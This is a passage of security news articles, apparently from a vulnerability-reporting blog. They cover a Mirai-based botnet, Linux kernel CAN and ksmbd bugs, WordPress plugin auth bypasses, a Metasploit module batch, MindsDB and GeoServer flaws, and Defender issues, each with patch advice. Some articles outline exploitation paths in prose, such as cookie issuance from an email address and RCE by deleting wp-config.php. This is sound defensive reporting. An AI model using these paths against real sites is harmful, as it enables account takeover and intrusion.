Primary capability: SOCKS5 proxy. Supports direct listening and reverse-relay modes with multiple simultaneous sessions. The relay function routes attacker traffic through the victim device, masking origin — useful for credential stuffing, exfiltration staging, and evading geographic blocks or rate limits.

Additional modules confirmed:

Encrypted C2 over port 443
SSH brute-force using 150 credential pairs
Credential sniffing targeting HTTP Basic Auth and Cookie headers
16 DDoS flood methods: UDP, DNS, SYN, ACK, GRE, HTTP variants
Interactive shell with file transfer
Anti-analysis checks: debugger detection, security tool detection, sandbox and VM fingerprinting

Persistence: systemd, SysV init, shell profiles, rc.local, and cron. The cron entry re-downloads the implant every five minutes if removed.

Exposure and mitigation

Firmware current: required. Default credentials in use: change them. Remote management exposed to internet: disable. Devices beyond vendor support: retire, not patch.

No CISA KEV additions for this activity as of this writing — unconfirmed, treat accordingly.

Linux CAN Subsystem Gets 14-CVE Race Condition Fix Wave

Nadia "Loop" Park — Sun, 16 Aug 2026 10:00:00 GMT

The August 15 Linux stable drop patched fourteen CVEs in the kernel's CAN subsystem — twelve in can: bcm (CAN broadcast manager) and two in can: isotp (ISO 15765-2 transport protocol). The bugs are data races and use-after-free conditions that surfaced through KCSAN (the kernel concurrency sanitizer) and code review. None have confirmed exploitation in the wild. The affected drivers ship in any Linux build with CAN socket support, which includes vehicle infotainment systems, factory automation controllers, and embedded industrial hardware running kernels from 2020 onward.

The bcm cluster

can: bcm provides a higher-level CAN interface: programmable filters, TX cycling, rate throttling, and RX timeout handling. The twelve CVEs are concentrated in the intersection of the bcm socket lifecycle and CAN device unregistration — a notoriously difficult concurrency surface because device removal can race with any open socket operation.

CVE-2026-72123 — the most structurally notable in the batch — is a use-after-free in the throttle timer path. A 2024 commit replaced synchronize_rcu() with call_rcu() in bcm_delete_rx_op() to avoid blocking, but omitted the corresponding RX_NO_AUTOTIMER check in the fast-path packet receiver. A concurrent bcm_rx_handler() can re-arm the timer on an op already scheduled for deferred free, producing a timer UAF. The fix moves the rx_op deallocation to a workqueue so the timer cannot fire after teardown is committed. Source: git.kernel.org.

CVE-2026-72122 is a lockless race in bcm_sendmsg(), which reads bo->ifindex and checks bo->bound before acquiring lock_sock(). bcm_notify() (device unregister) and bcm_connect() (concurrent bind from another thread) both mutate both fields under the same lock. Because the lockless reads and locked writes are unordered, a racing notify or connect can produce a silent RX_SETUP failure — the call returns no error, but frame delivery is not re-enabled for the updated filter. Source: git.kernel.org.

CVE-2026-72121 (source), CVE-2026-72119 (source), CVE-2026-72117 (source), and CVE-2026-72118 (source) are all KCSAN-detected data races: timer values (ival1, ival2, kt_ival1, kt_ival2), filter configuration (nframes, flags, frames), and per-op statistics written concurrently from multiple CPUs without adequate locking. CVE-2026-72118 resolves the statistics race with atomic long operations in the hot packet-receive path.

The remaining six bcm CVEs address missing RCU list annotations on bcm_op insertion and removal (CVE-2026-72120), stale rx/tx ops after device removal (CVE-2026-72116), missing frame length validation for RTR reply frames (CVE-2026-72114), device refcount leaks on filter teardown (CVE-2026-72113), and ANYDEV per-source interface tracking for timeout/throttle timers (CVE-2026-72115).

The isotp pair

can: isotp implements ISO 15765-2 — the segmentation and reassembly protocol used over CAN for automotive diagnostics (OBD-II) and ECU programming. It carries actual data between diagnostic tools and vehicle subsystems; bugs here are in production vehicles and aftermarket diagnostic hardware, not just test setups.

CVE-2026-72125 is a use-after-free with a window that opens during network device removal. isotp_release() looked up the bound device via dev_get_by_index() using a stored ifindex. The kernel removes the device from the ifindex hash before firing NETDEV_UNREGISTER, so a racing isotp_release() can fail to find the device, skip can_rx_unregister(), and proceed to free the socket while an in-flight isotp timer or RCU reader still holds a reference. Source: git.kernel.org.

CVE-2026-72124 addresses the isotp TX state machine, which is driven by three concurrent contexts: sendmsg(), the RX path consuming Flow Control and echo frames, and two hrtimers handling stall timeouts. sendmsg() claimed the state with a lock-free cmpxchg(); hrtimer_cancel() calls elsewhere operated under so->rx_lock. The mismatch left windows where a timer callback or frame receipt could race with send cleanup. All TX state transitions are now serialized under so->rx_lock. Source: git.kernel.org.

Exposure and scope

can: bcm and can: isotp are compiled in by CONFIG_CAN_BCM and CONFIG_CAN_ISOTP respectively. The vector requires local CAN socket access — creating a socket with AF_CAN. That scopes the immediate threat to multi-user systems with CAN hardware, container environments where CAN interfaces are exposed, and any Linux endpoint with physical or network-adjacent CAN access, which is the standard operational profile for automotive ECU tooling and industrial CAN gateways.

The race conditions are not reliably reproducible under normal load; KCSAN detected several only under stress testing. The UAFs (CVE-2026-72123, CVE-2026-72125) are more straightforwardly dangerous — deferred-free paths with live timers are a known exploitation target class.

Update to the current Linux stable release. For embedded and automotive Linux images with fixed kernel versions — the common deployment model in ICS and vehicle ECU environments — identify which CVEs apply to your build configuration and prioritize CVE-2026-72123 and CVE-2026-72125 for any environment where CAN sockets are accessible from untrusted processes or external diagnostic ports.

Today's August 15 stable drop also patched separate issues in the kernel's WiFi drivers, SMB server, and device-mapper subsystem — see coverage of CVE-2026-72003 (brcmfmac WiFi heap overflow), CVE-2026-72044 (ksmbd stack overflow), and CVE-2026-72103 (dm LUKS key wipe).

Linux dm Bug Silently Breaks LUKS Key Wipe

Dave "Kilobaud" Ferris — Sun, 16 Aug 2026 08:00:00 GMT

cryptsetup luksSuspend is supposed to evict the LUKS volume key from kernel memory — that's the contract. CVE-2026-72103, published to NVD on August 15, documents that it has been silently breaking that contract on kernels carrying commit a28d893eb327.

The commit in question, titled "md: port block device access to file," was refactoring work. It didn't touch any obvious security boundary. What it did, as identified in the stable fix, was accidentally keep the caller's thread keyring alive longer than intended when device-mapper opens a table device file. cryptsetup luksOpen stores the LUKS volume key in what's supposed to be an ephemeral thread keyring. After the refactor, a reference to that keyring lingers beyond the caller's lifetime. The key lingers with it.

luksSuspend returns without error. Nothing in the output tells you it didn't work. That's the part that matters most — the failure mode is silent.

Who's affected

Users and automation relying on luksSuspend for volume-key hygiene: screen-lock workflows, pre-suspend scripts, or anything that expects the volume key to be gone before entering a state where local memory access is possible. If your setup never calls luksSuspend, this doesn't affect you. The bug has no remote attack surface.

Status

No CVSS score has been assigned by NVD as of August 16. Severity is assessed at medium — locally exploitable failure of a disk-encryption security guarantee — pending formal NVD assignment. No exploitation in the wild has been reported. No CISA KEV addition as of publication.

Patch

Fixed in Linux stable. Commit: git.kernel.org — CVE-2026-72103. Update the kernel. If you run automated luksSuspend in a screen-lock or hibernation workflow, prioritize this.

The irony is predictable in retrospect: a change specifically about how file access works inside device-mapper quietly invalidated a property that LUKS users probably never thought to recheck. Refactoring regressions landing on security invariants are not a new pattern. This one's patched — time to ship it.

NVD: CVE-2026-72103. Part of the same August 15 stable batch as the brcmfmac WiFi heap overflow and BPF verifier bypass and the ksmbd stack overflow fix.

Linux ksmbd SMB Server: Stack Overflow Fix in Stable

Dave "Kilobaud" Ferris — Sun, 16 Aug 2026 07:00:00 GMT

The August 15 kernel stable drop carried over thirty CVEs. Most are maintenance — reference counting, resource leaks, bounds checks on paths nobody reaches in production. CVE-2026-72044 is worth separating out.

It's a stack buffer overflow in ksmbd, the Linux kernel's in-kernel SMB3 server. The affected path is multichannel session-key copying — the mechanism SMB3 clients use to establish multiple network channels to the same server for throughput. The bug traces to a prior refactor (commit 4b706360ffb7) that moved the binding-path session key out of the session-wide 40-byte sess->sess_key field and into a per-channel buffer sized to 16 bytes (SMB2_NTLMV2_SESSKEY_SIZE). Copy operations that reference the old layout still used the 40-byte length — overflowing the 16-byte kernel stack buffer by 24 bytes during multichannel session binding.

No CVSS assigned by NVD as of publication. Fix committed to stable: 610346149d04. Published NVD entry: CVE-2026-72044.

What ksmbd is: ksmbd landed in Linux 5.15 as an in-kernel SMB3 implementation — a performance alternative to Samba's userspace daemon. It processes SMB3 connections inside the kernel networking stack, where bugs operate at ring 0 rather than inside an isolated process.

Analysis: Moving complex protocol servers in-kernel is a tradeoff the kernel community has made repeatedly — NFS, iSCSI, now SMB3. The performance case is real. So is the expanded kernel attack surface that comes with it. A buffer size mismatch between a refactored struct and its copy site is exactly the category of bug this kind of code produces: localized, easy to miss in review, quiet until something triggers the affected path.

What the practical exposure looks like — what a client needs to send to reach the multichannel binding path, and from what network position — isn't answered by the commit description alone. That context will come once NVD assigns severity or a researcher publishes a fuller analysis. For now: if you run ksmbd with multichannel enabled, patch to the latest stable.

No exploitation confirmed in the wild. No CISA KEV addition as of this writing.

MaxUpload for WordPress: Unauthenticated File Upload

Dave "Kilobaud" Ferris — Sat, 15 Aug 2026 22:00:00 GMT

CVE-2026-15965 affects the MaxUpload plugin for WordPress — a file-size extension that enables large-file handling through a chunked transfer mechanism. The flaw is in the upload handler's validation logic: it applies extension and MIME-type checks to the incoming chunk's filename, but not to the filename that determines where the assembled file ultimately lands on the server. Because the upload handler requires no authentication to reach, any internet-facing WordPress site with MaxUpload 1.4.0 or earlier installed is in scope. CVSS 8.8, High.

What "arbitrary file upload" means here

Chunked upload implementations have a surface that single-file handlers don't. When a file is split into pieces for transfer and assembled server-side, there are two filename contexts involved: the chunk and the output. A check applied to one but not the other leaves a gap. The practical question for any deployment is whether that gap can be converted to code execution — which depends on whether the server can be made to execute a file placed in the upload path.

WordPress installations on PHP hosting environments, which is most of them, typically can. The upload directory and its server configuration are the relevant variables. A plugin that bypasses extension validation shifts that exposure from "depends on your hardening" to "reachable by anyone on the internet."

Arbitrary file upload bugs appear often enough in WordPress plugin advisories that they've become a familiar entry in the ecosystem's threat surface. They show up in upload handlers, image processors, form builders — wherever a plugin accepts a file from a user and does something with it server-side. The MaxUpload case has a specific shape: a chunked implementation that checks one filename context but misses the other. It's a design-level oversight, not an edge case.

Status

CVE-2026-15965 was published to NVD on August 15. Affected versions: all through 1.4.0. No patched version has been confirmed in the WordPress plugin repository as of this writing. No active exploitation has been reported.

The absence of confirmed exploitation is worth noting without over-relying on it. Chunked upload vulnerabilities with unauthenticated reach have attracted opportunistic scanning before, particularly once a CVE ID and advisory are public.

What to do

Check your WordPress plugin inventory for MaxUpload. If you're running any version through 1.4.0, deactivate it until a patched release is confirmed. There is no configuration-level workaround for the flaw in affected versions — the only safe posture is not running the affected code.

Monitor the WordPress plugin page directly for update status. As a secondary measure, confirm with your host that your WordPress uploads directory is not configured to serve executable scripts — a hardening step that limits the blast radius of file upload vulnerabilities regardless of the specific plugin involved.

Earlier this week, a separate batch of critical authentication bypass flaws hit the WordPress plugin ecosystem with CVSS scores of 9.8. The MaxUpload flaw is a different class of vulnerability but sits in the same patch cycle for WordPress site operators.

Thirteen New Metasploit Modules, One Old Pattern

Dave "Kilobaud" Ferris — Sat, 15 Aug 2026 22:00:00 GMT

Rapid7 published its summer Metasploit wrap-up this week, and the headline is thirteen new exploit modules landing in a single batch. The targets span enough product categories to make a useful point all on their own: Ghost CMS, Joomla JCE, WordPress WP2Shell, Langflow, OpenCATS, Pterodactyl Panel, Ray Dashboard, Pix-for-WooCommerce, SonicWall SMA1000, and a Linux kernel local privilege escalation. That list has something in it for almost every environment.

Which is, more or less, the point.

What the batch covers

The web application modules are the straightforward part. Three CMS platforms — Ghost, Joomla (via the JCE editor extension), and WordPress — plus a WooCommerce payment plugin getting exploit modules in the same batch is the kind of thing that reads as noise if you're not running any of them, and reads as a to-do list if you are. OpenCATS (an open-source applicant tracking system) and Pterodactyl Panel (game server management) round out the small-to-mid-market web application coverage.

The more interesting additions are in AI and distributed computing infrastructure. Langflow — an open-source workflow orchestration tool for building AI pipelines — receives another module, following advisories earlier in the year. Ray Dashboard, the management interface for the Ray distributed computing framework used heavily in ML training workloads, joins it. [Analysis: both tools are frequently deployed in environments that prioritize build velocity over security hardening, often without authentication configured on the management interface and with more network access than the team assumes. The concentration of exploit module development around AI tooling likely reflects how quickly these products spread into production without accompanying security review.]

On the network perimeter side, SonicWall SMA1000 gets a module. SonicWall's remote access appliances have appeared in Metasploit before, and SMA-series devices have made the CISA KEV catalog more than once. If you have one, the current firmware version is worth checking before the week ends.

The Linux kernel local privilege escalation — useful for post-exploitation on a host compromised via one of the other RCE modules — completes the package. It doesn't need internet exposure to matter; it just needs a foothold.

The framework itself

Beyond the modules, Rapid7 notes two infrastructure additions. HTTP malleable C2 profiles allow Metasploit traffic to pattern-match against known commercial frameworks, which affects detection fidelity for teams relying on traffic signatures. And MCP (Model Context Protocol) integration has been added to the framework itself, which is a notable signal: the same protocol now appearing in both attack tooling and the AI tooling it's targeting.

What to do with this

A Metasploit wrap-up isn't a threat report; it's a capability inventory. The presence of a module doesn't mean attacks are actively happening, and it doesn't mean they aren't. It means reliable exploit code now exists in a framework that is straightforward to use.

For any of the web-facing platforms on this list — Ghost, Joomla, WordPress, Pterodactyl, Langflow, Ray Dashboard — the question is simple: is it patched, and is it accessible from the internet? If either answer is no or unknown, that's the task.

For SonicWall SMA1000: firmware current, access logs reviewed, no anomalies.

Thirteen modules. Different product names every time, same answer every time.

Patch the internet-facing ones first.

MindsDB: Unauthenticated RCE, Max CVSS Score

Marisol "Fuse" Delgado — Sat, 15 Aug 2026 20:00:00 GMT

MindsDB's Minds Platform has a CVSS 10.0 unauthenticated remote code execution vulnerability. All versions through 26.1.0 are affected. CVSS 10.0 is the maximum possible score, and this one earns it: no authentication, no user interaction, full remote code execution as the MindsDB process user.

If your MindsDB instance is reachable from the network, stop reading and firewall the port. Then come back.

What's broken

Two API endpoints ship without authentication in affected versions:

PUT /api/v1/settings/ — lets any caller set the LLM API key and model configuration for the running instance
POST /api/v1/responses/ — routes prompts to the Anton agent's scratchpad tool, which calls Python's exec() on processed input without sandboxing

Together they create a straightforward path to OS command execution. An attacker can configure the instance to use an attacker-controlled API key, craft a prompt that the scratchpad routes into code execution, and run arbitrary commands as whatever user owns the MindsDB process.

MindsDB functions as an LLM and database integration layer in production — it connects to databases, LLM providers, and internal APIs, and commonly holds or has access to database credentials, model API keys, and internal data. That's what's at risk here.

Action items

Update immediately. The NVD advisory documents version 26.1.0 and earlier as vulnerable. Check MindsDB's release channel for the patched version and apply it.

While you're patching or testing:

Firewall the API port. MindsDB's API surface should not be internet-accessible regardless of this CVE. If it is, that's the more urgent problem.
Rotate credentials. Assume any database connections, model API keys, or other secrets accessible to the process may have been read. Rotate before trusting the instance again.
Review process logs for unexpected command execution, configuration changes, or anomalous API calls to /api/v1/settings/.

Priority call

Internet-accessible deployments: this is a P0 incident. CVSS 10.0 with no authentication and no user interaction means exploitation is trivial for anyone who can reach the port. Firewall first, patch as soon as you can pull a fixed build, then audit.

Internal deployments behind a hard network boundary: still patch this week. The attack surface here is your MindsDB process and everything it can touch — database connections, API keys, and whatever data those systems hold. That's not exposure you want sitting on an unpatched binary.

CVE-2026-50027 — a separate unauthenticated access vulnerability in mcp-memory-service — was patched this week. LLM tooling infrastructure continues to be an active target for this class of missing-auth bugs.

Patch Now: Critical Auth Bypass Hits WordPress Plugins

Marisol "Fuse" Delgado — Sat, 15 Aug 2026 20:00:00 GMT

Three WordPress plugin vulnerabilities disclosed this week sit at the top of the severity scale: two authentication bypass flaws at CVSS 9.8 and a file-deletion vulnerability at CVSS 9.1 that chains to remote code execution. All three are exploitable by unauthenticated attackers. Update before you keep reading.

CVE-2026-15341: Unauthenticated Account Takeover in User Session Synchronizer (CVSS 9.8)

The User Session Synchronizer plugin (all versions through 1.4.0) runs a synchronize_session() function hooked on WordPress's init action — meaning it fires on every single request to the site. The function accepts three caller-supplied parameters with no nonce check, no capability check, and no shared-secret validation of any kind. When one of those parameters references an unregistered slot, the plugin falls through to a code path that still resolves an existing WordPress user and issues them an authenticated session.

The bottom line: any unauthenticated visitor can obtain a valid session for any WordPress account on the site, including administrators. Full account takeover, no prior foothold required. Fixed in version 1.4.1. Source: NVD.

CVE-2026-15303: Unauthenticated Admin Cookie Issuance in 6Storage Rentals (CVSS 9.8)

The 6Storage Rentals plugin (all versions through 2.27.0) registers an AJAX action under WordPress's wp_ajax_nopriv_* hook — reachable by anyone, no session needed. The handler accepts an email address from the POST body, resolves it to a WordPress user via get_user_by('email'), and calls wp_set_current_user() and wp_set_auth_cookie() unconditionally. No nonce. No ownership check. No capability gate.

Send an administrator's email address. Receive an administrator's session cookie. Fixed; update to the latest available release via your plugin manager. Source: NVD.

CVE-2026-14484: File Deletion to RCE in RapiSafe CF7 (CVSS 9.1)

RapiSafe — Secure Multi File Upload for Contact Form 7 (all versions through 1.0.4) uses a nonce to gate its upload-removal handler. The problem: the nonce lives in the page source of any page with a Contact Form 7 form — any visitor can retrieve it before triggering the handler. The removal handler's path validation doesn't prevent directory traversal, so an attacker can target files outside the uploads directory.

Deleting wp-config.php triggers WordPress's setup wizard on the next load, giving the attacker a clean path to database reconfiguration and full site takeover. Fixed in version 1.0.5. If no patch is yet showing in your plugin manager, deactivate the plugin. There is no safe configuration workaround for affected versions. Source: NVD.

Patch Priority

All three are critical. If you have to sequence:

CVE-2026-15341 — update User Session Synchronizer to ≥1.4.1. Unauthenticated full account takeover is the highest-risk class.
CVE-2026-15303 — update 6Storage Rentals to the latest release. Same severity, same attack class.
CVE-2026-14484 — update RapiSafe CF7 to ≥1.0.5, or deactivate it immediately if the update isn't yet available.

WordPress site operators managing large installations should be running these updates now. These three join an active patch cycle: WordPress 7.0.4 fixed a high-severity RCE via Imagick last week, and a supply-chain attack on BdThemes earlier this month planted rogue admin accounts on affected sites. The plugin attack surface isn't slowing down.

Evooo1Bot Turns Routers Into SOCKS5 Relay Nodes

Dave "Kilobaud" Ferris — Sat, 15 Aug 2026 18:00:00 GMT

A new Mirai-based botnet called Evooo1Bot is doing what Mirai variants have been doing since 2016 in one respect, and something slightly more interesting in another. BleepingComputer reported Friday that Evooo1Bot targets internet-facing gateway devices — home routers, small-business edge hardware, the usual attack surface — and converts them into SOCKS5 traffic relay nodes. Not DDoS cannon nodes. Proxy relay nodes.

That's the distinguishing characteristic. The classic Mirai use case was volumetric: compromise enough bandwidth-rich edge devices, point them all at a target simultaneously, and knock it offline. What Evooo1Bot's operators want from the devices they compromise is something more durable — a dispersed layer of residential and commercial IP addresses to route traffic through, making that traffic look like it originates from somewhere legitimate. The same infrastructure pattern threat-intelligence teams have been calling ORB networks, operational relay boxes, anonymization layers, and a half-dozen other names depending on which attribution cluster is using it this week.

The infrastructure play

The mechanics here are not novel. UAT-7810's "Longleash" ORB network — covered in July — used compromised Ruckus and ASUS gear for exactly this: residential IP transit to evade geo-restriction and reputation blocklists. The FBI's POPA botnet takedown hit the same structural pattern in a commercially operated version of the relay service. The appeal is straightforward. Data-center IP ranges are on every blocklist. A residential IP from a router in Minneapolis, a gateway in São Paulo, and a home network in Osaka — those are harder to flag and harder to attribute.

What Evooo1Bot adds to that structural approach is the Mirai codebase running on Linux gateway firmware — a delivery chain that has proven reliable across ten years of evolution precisely because the underlying attack surface keeps expanding rather than contracting. The "modular" characterization in BleepingComputer's reporting suggests the relay function is one component rather than the whole payload, though specifics on additional modules weren't available at time of writing. BleepingComputer's reporting is ongoing; more technical detail, IoCs, and affected model lists are expected to follow.

Two days ago, a different Mirai variant surfaced with encrypted C2 and a credential sniffer. These are separate campaigns running on the same foundational codebase — which is the relevant observation. Mirai leaked in 2016 and became infrastructure commons. Every threat actor with a use case for compromised edge devices now builds from that codebase or from derivatives of it. The variants multiply; the underlying attack surface doesn't get addressed.

What this means for the devices involved

This morning, three critical vulnerabilities in OpenWrt's LuCI management interface reached public disclosure — two rated CVSS 9.9. OpenWrt runs on a substantial share of the consumer and small-business router hardware that botnets like Evooo1Bot target. The timing is coincidental; the overlapping attack surface is not.

The practical picture: gateway devices are targeted because they're persistent, network-adjacent, and largely unmonitored. The Tenda router backdoor disclosed in July remains unpatched months after disclosure. Firmware updates that do exist often require manual action nobody takes. And unlike endpoints, routers don't generate EDR telemetry — if a compromised router is proxying traffic, the detection event most commonly shows up in downstream anomaly analysis rather than at the device itself.

The response to Evooo1Bot is the same response to the Mirai variant from Tuesday and the one before that: update firmware on gateway devices, disable remote management interfaces exposed to the public internet, segment networks so IoT and edge hardware isn't sitting adjacent to anything sensitive, and baseline outbound traffic volumes on devices where "predictable" is actually achievable. None of this is new. The fact that it keeps being relevant says something about which side of this problem has consistent institutional support.

For current IoCs and technical indicators, follow BleepingComputer's reporting and vendor advisories as they publish.

Unauth Access to AI Memory: CVE-2026-50027 Patched

Marisol "Fuse" Delgado — Sat, 15 Aug 2026 16:00:00 GMT

The semantic memory layer mcp-memory-service shipped CVE-2026-50027: every HTTP route under /api/documents/ is accessible without credentials. That's not a misconfiguration — it's the default. Even deployments explicitly configured with MCP_API_KEY or OAuth let anyone read, write, or delete stored documents without authentication. CVSS: 9.8 Critical. Fixed in 10.67.1.

What's exposed

mcp-memory-service is a semantic memory layer for AI applications — it stores documents that agents and LLM applications retrieve as context. What's sitting in those stores varies by deployment: conversation history, user data, internal knowledge bases, whatever the application fed it.

Unauthenticated attackers with network access can:

Read any stored document by ID
Write arbitrary content into the memory store, poisoning what agents retrieve as context
Delete any stored memory, permanently

The /api/documents/ routes skip the server's authentication middleware entirely. MCP_API_KEY and any OAuth configuration apply to other route groups; the document API simply doesn't check. GHSA-84hp-mqvj-3p8h documents this as the root cause.

Action items

Update to 10.67.1. That's the fix — the patch gates all /api/documents/ routes through the server's existing authentication middleware. No configuration changes needed after the update.

If you can't patch immediately:

Firewall the service port. mcp-memory-service shouldn't be internet-accessible regardless; if it is, that's a separate problem worth fixing at the same time.
After patching, audit stored documents for unexpected or injected content before relying on the store again.

Priority call

Network-accessible deployments: patch or firewall today. Unauthenticated write access to an AI context store is a direct path to corrupting what your agents retrieve and act on — MCP server vulnerabilities have been actively mapped by researchers since mid-year, and this attack surface is not theoretical.

Internal-only deployments sitting behind a hard network boundary can roll the update on their normal patch cadence — this week, not next month.

ShieldBreak: New Unpatched EoP in Defender Scan Engine

Marisol "Fuse" Delgado — Sat, 15 Aug 2026 14:00:00 GMT

A second CVE tagged "ShieldBreak" landed in MSRC's advisory database on August 14: CVE-2026-69414, rated High, CVSS 7.8. This one is in the Malware Protection Engine — the scanning core, MsMpEng.exe. There is no patch.

This is not the same issue as CVE-2026-50656, which shipped as a fix in August's Patch Tuesday and had a bypass published the following day. Two separate CVEs, both labeled "ShieldBreak," both in Defender's internals, four days apart.

What it is

CVE-2026-69414 is an elevation of privilege vulnerability in the Malware Protection Engine. MsMpEng.exe runs as SYSTEM on Windows machines with Defender's real-time protection active — it has to, because scanning files and processes at that depth requires elevated access. An EoP flaw here means a path from lower-privilege code execution to full SYSTEM access.

MSRC's advisory holds technical specifics while a fix is in development. What's disclosed: the affected component (Malware Protection Engine), the severity (High, CVSS 7.8), and current status (no patch, security update in progress). Microsoft describes the vulnerability as "ShieldBreak," using the same name that attached to CVE-2026-50656.

What isn't confirmed

Active exploitation: not confirmed. In-the-wild use: not confirmed. Public proof-of-concept: none observed as of this writing. CISA has not added CVE-2026-69414 to the Known Exploited Vulnerabilities catalog.

Analysis: The prior ShieldBreak bypass (CVE-2026-50656) surfaced within hours of Patch Tuesday. Lazarus exploited CVE-2026-68820 before it was publicly disclosed. Neither of these is evidence that CVE-2026-69414 is currently exploited — but both illustrate that named, actively-researched vulnerabilities in Defender's internals have historically had short timelines from disclosure to exploitation. Watch the advisory; adjust urgency if that status changes.

Action items

Before the patch:

Keep Defender's Security Intelligence updates current. Microsoft ships signature database updates continuously and independently of Windows Update. These can carry behavioral mitigations ahead of a binary patch. Running outdated definitions leaves an unprotected engine exposed.
Watch MSRC's advisory directly — it will be updated when a fix is available.
Review any group policies in your environment that delay or restrict Defender updates. A stability-motivated delay policy works against you when the scanning engine carries a known-unpatched EoP.

When the patch lands:

Push it the same day. CVSS 7.8 on a SYSTEM-privileged process, in a component with an active research community targeting it, warrants immediate application. The prior ShieldBreak bypass demonstrated that window can be hours.

Priority call

Not an emergency today — no confirmed exploitation, no public PoC. Monitor the advisory and keep signatures current. When the patch ships, treat it as immediate. If CISA adds it to KEV before that, escalate accordingly.

CISA ICS Advisory: SCADA Deserialization Bug CVE-2025-7639

Nadia "Loop" Park — Sat, 15 Aug 2026 12:00:00 GMT

CISA published advisory ICSA-26-225-01 on 14 August 2026, covering CVE-2025-7639: a deserialization vulnerability in an industrial distributed control system (DCS) whose permission model distinguishes authenticated operator access — the "DNA Authority - Operator" tier — from the higher-privilege execution context of the "Enterprise SCADA security group 'DNA Apps'."

The flaw is in how the system processes serialized data submitted by authenticated users in the Operator tier. Insufficient validation before deserialization means an attacker holding — or having obtained — valid Operator credentials can craft input that executes code under the "DNA Apps" security group, outside the bounds of their assigned role.

That privilege delta is the meaningful part. Operator access in an industrial environment is intended to be scoped: monitor the process, adjust setpoints within approved ranges, no software installation, no configuration authority beyond the defined scope. A deserialization path that lets Operator-tier input elevate into a higher security group collapses that boundary in a way that doesn't show up cleanly in most OT access-control audits — the Operator account looks legitimate, and the escalation happens at the application layer below the network perimeter.

Exploitation requires authentication, which limits opportunistic internet-scanning attacks. The more realistic risk is insider threat, credential theft, or a compromised Operator-tier account being used as a stepping stone after initial access via another vector.

CVSS scoring was not available in the NVD entry at the time of writing; refer to the CISA advisory for the vendor's severity assessment and the NVD entry for CVE-2025-7639 for updates as scoring is published.

What to do: Review CISA advisory ICSA-26-225-01 for the affected product version ranges and the vendor's recommended patches or workarounds. Audit "DNA Authority - Operator" account assignments against current personnel — accounts belonging to former employees, contractors, or personnel who have changed roles should be disabled. Monitor the advisory for patch availability if none has been issued yet.

NIST Bets on AI to Clear AI-Created CVE Backlog

Dave "Kilobaud" Ferris — Sat, 15 Aug 2026 10:00:00 GMT

NIST is looking at deploying artificial intelligence to help process vulnerabilities at the National Vulnerability Database — the same category of AI-powered tooling that is flooding the pipeline with more CVEs than it can enrich on a human timescale.

Dark Reading reported Thursday that vulnerability volumes are surging, driven by AI-augmented scanning and research tools that find bugs faster than disclosure pipelines were designed to handle. NIST is now asking whether AI can be the answer to its own backlog.

This isn't a new problem. It is a sharper version of one. In 2023 and 2024, NVD fell into a prolonged enrichment backlog — the step in the pipeline where a CVE ID receives CVSS scores, Common Weakness Enumeration tags, and product references so that vulnerability management tools and patching workflows can actually act on it. CISA stepped in as a processing partner to clear part of the queue. The backlog shrank, then AI-assisted research tooling got meaningfully better, and the intake volume is climbing again.

The structural problem here is that AI-augmented vulnerability research scales with compute in a way human advisory writing does not. A researcher with a well-configured fuzzer and an LLM for triage and writeup can disclose in a weekend what used to take months of manual analysis. We saw a compressed version of this in August when a single researcher dropped ten CVEs across MCP server implementations in a single day — each one real, each one requiring NVD review, most across projects where maintainers weren't expecting coordinated disclosure. That pattern, replicated at scale across the open source ecosystem, is what NIST is staring at.

The downstream effect that matters most is CVSS. Security teams have built their patch prioritization workflows around NVD enrichment data, and primarily around CVSS scores. An unenriched CVE sits in the database with a blank or placeholder score. A vulnerability management platform pulling from NVD returns incomplete signal. In a world where patch capacity is finite and the queue is measured in thousands — August's Patch Tuesday alone logged 88 CVEs from Microsoft — a blank CVSS score gets deprioritized by default and may never get worked.

NIST's proposed direction — using AI to automate enrichment through auto-scoring, CWE tagging, and product matching — is a reasonable structural response to a structural problem. It is also one that introduces its own accuracy questions. Assigning a CVSS score is contextual work: it requires considering what exploitation actually requires, whether authentication preconditions exist, how the affected software is typically deployed, and what the realistic attacker population looks like. Whether current models can do that consistently enough to be trusted as a primary enrichment source is genuinely open, and NIST hasn't answered it.

Getting enrichment wrong in the direction of "too high" creates alert fatigue in SOCs already operating near capacity. Getting it wrong "too low" buries real exposure. Both failure modes are worse than a blank field in different ways, and the industry's ability to detect a quiet accuracy degradation — as opposed to a spectacular enrichment failure — is not well developed.

Analysis: The interesting part of this is not the irony of AI creating a problem and AI being asked to solve it; that's been the pattern in security tooling for as long as there have been security tools. The interesting part is structural: the entire patch-prioritization apparatus the industry has built assumes NVD enrichment is reliable and reasonably timely. Both assumptions are under simultaneous stress. NIST turning to AI doesn't resolve the underlying mismatch — it relocates where the errors happen.

Defenders layering EPSS scores alongside CVSS, or using CISA KEV additions as a primary triage signal, are somewhat insulated from this. The KEV catalog is maintained reactively and at lower volume, with human review before anything gets added. But for vulnerabilities that never reach KEV — the large majority of disclosed CVEs — NVD enrichment quality matters more than the current moment makes obvious.

This is worth watching not because AI-assisted CVE enrichment will fail visibly, but because it may degrade in ways that are quiet and slow and only apparent well after they've distorted someone's risk posture.

GeoServer Zero-Day Under Active Attack, No Patch Available

Marisol "Fuse" Delgado — Sat, 15 Aug 2026 08:00:00 GMT

A security researcher publicly disclosed an unpatched SQL injection vulnerability in GeoServer on Wednesday, and exploitation attempts were logged within hours. If you run a public-facing GeoServer instance — especially one backed by PostGIS or Oracle JDBC — stop reading this and go audit your exposure first.

What was disclosed

Researcher q1uf3ng published details of a flaw in GeoServer's jsonArrayContains function, which handles JSON array field queries. The root cause is improper sanitization of user-supplied arguments before they're encoded into database queries. On deployments using PostGIS or Oracle JDBC as the data store backend, that injection path can escalate to remote code execution, SecurityWeek reports.

As of publication, GeoServer has released no patch and no CVE identifier has been assigned.

Active exploitation, fast

WatchTowr's Jake Knott told SecurityWeek that within hours of the August 14 disclosure, WatchTowr observed "hundreds of attempts originating from a small number of source IP addresses." Current activity appears to be probing — no confirmed follow-on compromise has been publicly reported — but probing at this pace and scale is how threat actors build target lists before escalating.

GeoServer has a documented history of targeted exploitation. Several prior GeoServer vulnerabilities have landed in CISA's Known Exploited Vulnerabilities catalog. The platform is widely deployed by government agencies, agriculture operators, telecoms, and transit authorities for geospatial data delivery — organizations that routinely expose it publicly for map tile and WFS/WMS services, and that don't always have fast patch cycles.

Who's exposed

The highest-risk configuration: a GeoServer instance using PostGIS or Oracle JDBC as its data store, reachable over a public network. If your GeoServer is internal-only with no external exposure, the window is narrower but not zero — lateral movement from a compromised perimeter host is a real path.

Priority action list

